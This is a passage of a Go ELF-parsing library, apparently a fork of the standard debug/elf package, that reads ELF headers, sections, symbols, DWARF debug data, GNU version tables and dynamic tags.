"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// seekStart, seekCurrent, seekEnd are copies of
|
||||
// io.SeekStart, io.SeekCurrent, and io.SeekEnd.
|
||||
// We can't use the ones from package io because
|
||||
// we want this code to build with Go 1.4 during
|
||||
// cmd/dist bootstrap.
|
||||
const (
|
||||
seekStart int = 0
|
||||
seekCurrent int = 1
|
||||
seekEnd int = 2
|
||||
)
|
||||
|
||||
// TODO: error reporting detail
|
||||
|
||||
/*
|
||||
* Internal ELF representation
|
||||
*/
|
||||
|
||||
// A FileHeader represents an ELF file header.
|
||||
type FileHeader struct {
|
||||
Class Class
|
||||
Data Data
|
||||
Version Version
|
||||
OSABI OSABI
|
||||
ABIVersion uint8
|
||||
ByteOrder binary.ByteOrder
|
||||
Type Type
|
||||
Machine Machine
|
||||
Entry uint64
|
||||
SHTOffset int64
|
||||
ShStrIndex int
|
||||
}
|
||||
|
||||
// A File represents an open ELF file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
Sections []*Section
|
||||
Progs []*Prog
|
||||
closer io.Closer
|
||||
gnuNeed []verneed
|
||||
gnuVersym []byte
|
||||
Insertion []byte
|
||||
InsertionEOF []byte
|
||||
|
||||
DynTags []DynTagValue
|
||||
}
|
||||
|
||||
// A SectionHeader represents a single ELF section header.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Type SectionType
|
||||
Flags SectionFlag
|
||||
Addr uint64
|
||||
Offset uint64
|
||||
Size uint64
|
||||
Link uint32
|
||||
Info uint32
|
||||
Addralign uint64
|
||||
Entsize uint64
|
||||
|
||||
Shnum int // Section Header Number
|
||||
Shname uint32 // Section Header Name (index)
|
||||
|
||||
// FileSize is the size of this section in the file in bytes.
|
||||
// If a section is compressed, FileSize is the size of the
|
||||
// compressed data, while Size (above) is the size of the
|
||||
// uncompressed data.
|
||||
FileSize uint64
|
||||
}
|
||||
|
||||
// A Section represents a single section in an ELF file.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
//
|
||||
// ReaderAt may be nil if the section is not easily available
|
||||
// in a random-access form. For example, a compressed section
|
||||
// may have a nil ReaderAt.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
|
||||
compressionType CompressionType
|
||||
compressionOffset int64
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// Data returns uncompressed data.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.Size)
|
||||
n, err := io.ReadFull(s.Open(), dat)
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// stringTable reads and returns the string table given by the
|
||||
// specified link value.
|
||||
func (f *File) stringTable(link uint32) ([]byte, error) {
|
||||
if link <= 0 || link >= uint32(len(f.Sections)) {
|
||||
return nil, errors.New("section has invalid string table link")
|
||||
}
|
||||
return f.Sections[link].Data()
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// the ReadSeeker reads uncompressed data.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
if s.compressionType == COMPRESS_ZLIB {
|
||||
return &readSeekerFromReader{
|
||||
reset: func() (io.Reader, error) {
|
||||
fr := io.NewSectionReader(s.sr, s.compressionOffset, int64(s.FileSize)-s.compressionOffset)
|
||||
return zlib.NewReader(fr)
|
||||
},
|
||||
size: int64(s.Size),
|
||||
}
|
||||
}
|
||||
err := &FormatError{int64(s.Offset), "unknown compression type", s.compressionType}
|
||||
return errorReader{err}
|
||||
}
|
||||
|
||||
// A ProgHeader represents a single ELF program header.
|
||||
type ProgHeader struct {
|
||||
Type ProgType
|
||||
Flags ProgFlag
|
||||
Off uint64
|
||||
Vaddr uint64
|
||||
Paddr uint64
|
||||
Filesz uint64
|
||||
Memsz uint64
|
||||
Align uint64
|
||||
}
|
||||
|
||||
// A Prog represents a single ELF program header in an ELF binary.
|
||||
type Prog struct {
|
||||
ProgHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF program body.
|
||||
func (p *Prog) Open() io.ReadSeeker { return io.NewSectionReader(p.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Symbol represents an entry in an ELF symbol table section.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
NameIndex uint32
|
||||
Info, Other byte
|
||||
Section SectionIndex
|
||||
SectIndex uint16
|
||||
Value, Size uint64
|
||||
}
|
||||
|
||||
// ToSym64 - Convert to a Sym64
|
||||
func (s Symbol) ToSym64() (retval Sym64) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = s.Value
|
||||
retval.Size = s.Size
|
||||
return
|
||||
}
|
||||
|
||||
// ToSym32 - Convert to a Sym32
|
||||
func (s Symbol) ToSym32() (retval Sym32) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = uint32(s.Value)
|
||||
retval.Size = uint32(s.Size)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
* ELF reader
|
||||
*/
|
||||
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
msg += fmt.Sprintf(" '%v' ", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf("in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as an ELF binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// SectionByType returns the first section in f with the
|
||||
// given type, or nil if there is no such section.
|
||||
func (f *File) SectionByType(typ SectionType) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Type == typ {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SectionByName returns the first section in f with the
|
||||
// given name, or nil if there is no such section.
|
||||
func (f *File) SectionByName(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing an ELF binary in an underlying reader.
|
||||
// The ELF binary is expected to start at position 0 in the ReaderAt.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
// Read and decode ELF identifier
|
||||
var ident [16]uint8
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
|
||||
return nil, &FormatError{0, "bad magic number", ident[0:4]}
|
||||
}
|
||||
|
||||
f := new(File)
|
||||
f.Class = Class(ident[EI_CLASS])
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
case ELFCLASS64:
|
||||
// ok
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF class", f.Class}
|
||||
}
|
||||
|
||||
f.Data = Data(ident[EI_DATA])
|
||||
switch f.Data {
|
||||
case ELFDATA2LSB:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
case ELFDATA2MSB:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF data encoding", f.Data}
|
||||
}
|
||||
|
||||
f.Version = Version(ident[EI_VERSION])
|
||||
if f.Version != EV_CURRENT {
|
||||
return nil, &FormatError{0, "unknown ELF version", f.Version}
|
||||
}
|
||||
|
||||
f.OSABI = OSABI(ident[EI_OSABI])
|
||||
f.ABIVersion = ident[EI_ABIVERSION]
|
||||
|
||||
// Read ELF file header
|
||||
var phoff int64
|
||||
var phentsize, phnum int
|
||||
var shentsize, shnum int
|
||||
f.ShStrIndex = -1
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
hdr := new(Header32)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = uint64(hdr.Entry)
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
case ELFCLASS64:
|
||||
hdr := new(Header64)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = hdr.Entry
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
}
|
||||
|
||||
if shnum > 0 && f.SHTOffset > 0 && (f.ShStrIndex < 0 || f.ShStrIndex >= shnum) {
|
||||
return nil, &FormatError{0, "invalid ELF shstrndx", f.ShStrIndex}
|
||||
}
|
||||
|
||||
// Read program headers
|
||||
f.Progs = make([]*Prog, phnum)
|
||||
for i := 0; i < phnum; i++ {
|
||||
off := phoff + int64(i)*int64(phentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
p := new(Prog)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ph := new(Prog32)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: uint64(ph.Off),
|
||||
Vaddr: uint64(ph.Vaddr),
|
||||
Paddr: uint64(ph.Paddr),
|
||||
Filesz: uint64(ph.Filesz),
|
||||
Memsz: uint64(ph.Memsz),
|
||||
Align: uint64(ph.Align),
|
||||
}
|
||||
case ELFCLASS64:
|
||||
ph := new(Prog64)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: ph.Off,
|
||||
Vaddr: ph.Vaddr,
|
||||
Paddr: ph.Paddr,
|
||||
Filesz: ph.Filesz,
|
||||
Memsz: ph.Memsz,
|
||||
Align: ph.Align,
|
||||
}
|
||||
}
|
||||
p.sr = io.NewSectionReader(r, int64(p.Off), int64(p.Filesz))
|
||||
p.ReaderAt = p.sr
|
||||
f.Progs[i] = p
|
||||
}
|
||||
|
||||
// Read section headers
|
||||
f.Sections = make([]*Section, shnum)
|
||||
names := make([]uint32, shnum)
|
||||
for i := 0; i < shnum; i++ {
|
||||
off := f.SHTOffset + int64(i)*int64(shentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
s := new(Section)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
sh := new(Section32)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Addr: uint64(sh.Addr),
|
||||
Offset: uint64(sh.Off),
|
||||
FileSize: uint64(sh.Size),
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: uint64(sh.Addralign),
|
||||
Entsize: uint64(sh.Entsize),
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
|
||||
case ELFCLASS64:
|
||||
sh := new(Section64)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Offset: sh.Off,
|
||||
FileSize: sh.Size,
|
||||
Addr: sh.Addr,
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: sh.Addralign,
|
||||
Entsize: sh.Entsize,
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
}
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.FileSize))
|
||||
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
s.ReaderAt = s.sr
|
||||
s.Size = s.FileSize
|
||||
} else {
|
||||
// Read the compression header.
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ch := new(Chdr32)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = uint64(ch.Size)
|
||||
s.Addralign = uint64(ch.Addralign)
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
case ELFCLASS64:
|
||||
ch := new(Chdr64)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = ch.Size
|
||||
s.Addralign = ch.Addralign
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
}
|
||||
}
|
||||
|
||||
f.Sections[i] = s
|
||||
}
|
||||
|
||||
if err := f.parseDynTags(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(f.Sections) == 0 {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Load section header string table.
|
||||
shstrtab, err := f.Sections[f.ShStrIndex].Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, s := range f.Sections {
|
||||
var ok bool
|
||||
s.Name, ok = getString(shstrtab, int(names[i]))
|
||||
if !ok {
|
||||
return nil, &FormatError{f.SHTOffset + int64(i*shentsize), "bad section name index", names[i]}
|
||||
}
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// getSymbols returns a slice of Symbols from parsing the symbol table
|
||||
// with the given type, along with the associated string table.
|
||||
func (f *File) getSymbols(typ SectionType) ([]Symbol, []byte, error) {
|
||||
switch f.Class {
|
||||
case ELFCLASS64:
|
||||
return f.getSymbols64(typ)
|
||||
|
||||
case ELFCLASS32:
|
||||
return f.getSymbols32(typ)
|
||||
}
|
||||
|
||||
return nil, nil, errors.New("not implemented")
|
||||
}
|
||||
|
||||
// ErrNoSymbols is returned by File.Symbols and File.DynamicSymbols
|
||||
// if there is no such section in the File.
|
||||
var ErrNoSymbols = errors.New("no symbol section")
|
||||
|
||||
func (f *File) getSymbols32(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym32Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of SymSize")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym32Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym32Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym32
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].Value = uint64(sym.Value)
|
||||
symbols[i].Size = uint64(sym.Size)
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
func (f *File) getSymbols64(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym64Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of Sym64Size")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym64Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym64Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym64
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].NameIndex = sym.Name
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].SectIndex = sym.Shndx
|
||||
symbols[i].Value = sym.Value
|
||||
symbols[i].Size = sym.Size
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
// getString extracts a string from an ELF string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns a section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF - No idea what this does
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
// sectionData gets the data for s, checks its size, and
|
||||
// applies any applicable relations.
|
||||
sectionData := func(i int, s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
|
||||
for _, r := range f.Sections {
|
||||
if r.Type != SHT_RELA && r.Type != SHT_REL {
|
||||
continue
|
||||
}
|
||||
if int(r.Info) != i {
|
||||
continue
|
||||
}
|
||||
rd, err := r.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = f.applyRelocations(b, rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Symbols returns the symbol table for f. The symbols will be listed in the order
|
||||
// they appear in f.
|
||||
//
|
||||
// For compatibility with Go 1.0, Symbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) Symbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
// DynamicSymbols returns the dynamic symbol table for f. The symbols
|
||||
// will be listed in the order they appear in f.
|
||||
//
|
||||
// For compatibility with Symbols, DynamicSymbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) DynamicSymbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_DYNSYM)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
type ImportedSymbol struct {
|
||||
Name string
|
||||
Version string
|
||||
Library string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]ImportedSymbol, error) {
|
||||
sym, str, err := f.getSymbols(SHT_DYNSYM)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.gnuVersionInit(str)
|
||||
var all []ImportedSymbol
|
||||
for i, s := range sym {
|
||||
if ST_BIND(s.Info) == STB_GLOBAL && s.Section == SHN_UNDEF {
|
||||
all = append(all, ImportedSymbol{Name: s.Name})
|
||||
f.gnuVersion(i, &all[len(all)-1])
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
type verneed struct {
|
||||
File string
|
||||
Name string
|
||||
}
|
||||
|
||||
// gnuVersionInit parses the GNU version tables
|
||||
// for use by calls to gnuVersion.
|
||||
func (f *File) gnuVersionInit(str []byte) {
|
||||
// Accumulate verneed information.
|
||||
vn := f.SectionByType(SHT_GNU_VERNEED)
|
||||
if vn == nil {
|
||||
return
|
||||
}
|
||||
d, _ := vn.Data()
|
||||
|
||||
var need []verneed
|
||||
i := 0
|
||||
for {
|
||||
if i+16 > len(d) {
|
||||
break
|
||||
}
|
||||
vers := f.ByteOrder.Uint16(d[i : i+2])
|
||||
if vers != 1 {
|
||||
break
|
||||
}
|
||||
cnt := f.ByteOrder.Uint16(d[i+2 : i+4])
|
||||
fileoff := f.ByteOrder.Uint32(d[i+4 : i+8])
|
||||
aux := f.ByteOrder.Uint32(d[i+8 : i+12])
|
||||
next := f.ByteOrder.Uint32(d[i+12 : i+16])
|
||||
file, _ := getString(str, int(fileoff))
|
||||
|
||||
var name string
|
||||
j := i + int(aux)
|
||||
for c := 0; c < int(cnt); c++ {
|
||||
if j+16 > len(d) {
|
||||
break
|
||||
}
|
||||
// hash := f.ByteOrder.Uint32(d[j:j+4])
|
||||
// flags := f.ByteOrder.Uint16(d[j+4:j+6])
|
||||
other := f.ByteOrder.Uint16(d[j+6 : j+8])
|
||||
nameoff := f.ByteOrder.Uint32(d[j+8 : j+12])
|
||||
next := f.ByteOrder.Uint32(d[j+12 : j+16])
|
||||
name, _ = getString(str, int(nameoff))
|
||||
ndx := int(other)
|
||||
if ndx >= len(need) {
|
||||
a := make([]verneed, 2*(ndx+1))
|
||||
copy(a, need)
|
||||
need = a
|
||||
}
|
||||
|
||||
need[ndx] = verneed{file, name}
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
j += int(next)
|
||||
}
|
||||
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
i += int(next)
|
||||
}
|
||||
|
||||
// Versym parallels symbol table, indexing into verneed.
|
||||
vs := f.SectionByType(SHT_GNU_VERSYM)
|
||||
if vs == nil {
|
||||
return
|
||||
}
|
||||
d, _ = vs.Data()
|
||||
|
||||
f.gnuNeed = need
|
||||
f.gnuVersym = d
|
||||
}
|
||||
|
||||
// gnuVersion adds Library and Version information to sym,
|
||||
// which came from offset i of the symbol table.
|
||||
func (f *File) gnuVersion(i int, sym *ImportedSymbol) {
|
||||
// Each entry is two bytes.
|
||||
i = (i + 1) * 2
|
||||
if i >= len(f.gnuVersym) {
|
||||
return
|
||||
}
|
||||
j := int(f.ByteOrder.Uint16(f.gnuVersym[i:]))
|
||||
if j < 2 || j >= len(f.gnuNeed) {
|
||||
return
|
||||
}
|
||||
n := &f.gnuNeed[j]
|
||||
sym.Library = n.File
|
||||
sym.Version = n.Name
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
return f.DynString(DT_NEEDED)
|
||||
}
|
||||
|
||||
func (f *File) parseDynTags() error {
|
||||
s := f.SectionByType(SHT_DYNAMIC)
|
||||
if s == nil {
|
||||
return nil // nothing to do
|
||||
}
|
||||
|
||||
var m []DynTagValue
|
||||
d, err := s.Data()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//fmt.Printf("%+v\nd: %x len(%d)\n", s, d, len(d))
|
||||
|
||||
r := bytes.NewBuffer(d)
|
||||
for {
|
||||
var t, v uint64
|
||||
if err := binary.Read(r, f.ByteOrder, &t); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if err := binary.Read(r, f.ByteOrder, &v); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
m = append(m, DynTagValue{Tag: DynTag(t), Value: v})
|
||||
//fmt.Printf("%x -> %x\n", t, v)
|
||||
}
|
||||
f.DynTags = m
|
||||
return nil
|
||||
}
|
||||
|
||||
// DynString returns the strings listed for the given tag in the file's dynamic
|
||||
// section.
|
||||
//
|
||||
// The tag must be one that takes string values: DT_NEEDED, DT_SONAME, DT_RPATH, or
|
||||
// DT_RUNPATH.
|
||||
func (f *File) DynString(tag DynTag) ([]string, error) {
|
||||
switch tag {
|
||||
case DT_NEEDED, DT_SONAME, DT_RPATH, DT_RUNPATH:
|
||||
default:
|
||||
return nil, fmt.Errorf("non-string-valued tag %v", tag)
|
||||
}
|
||||
|
||||
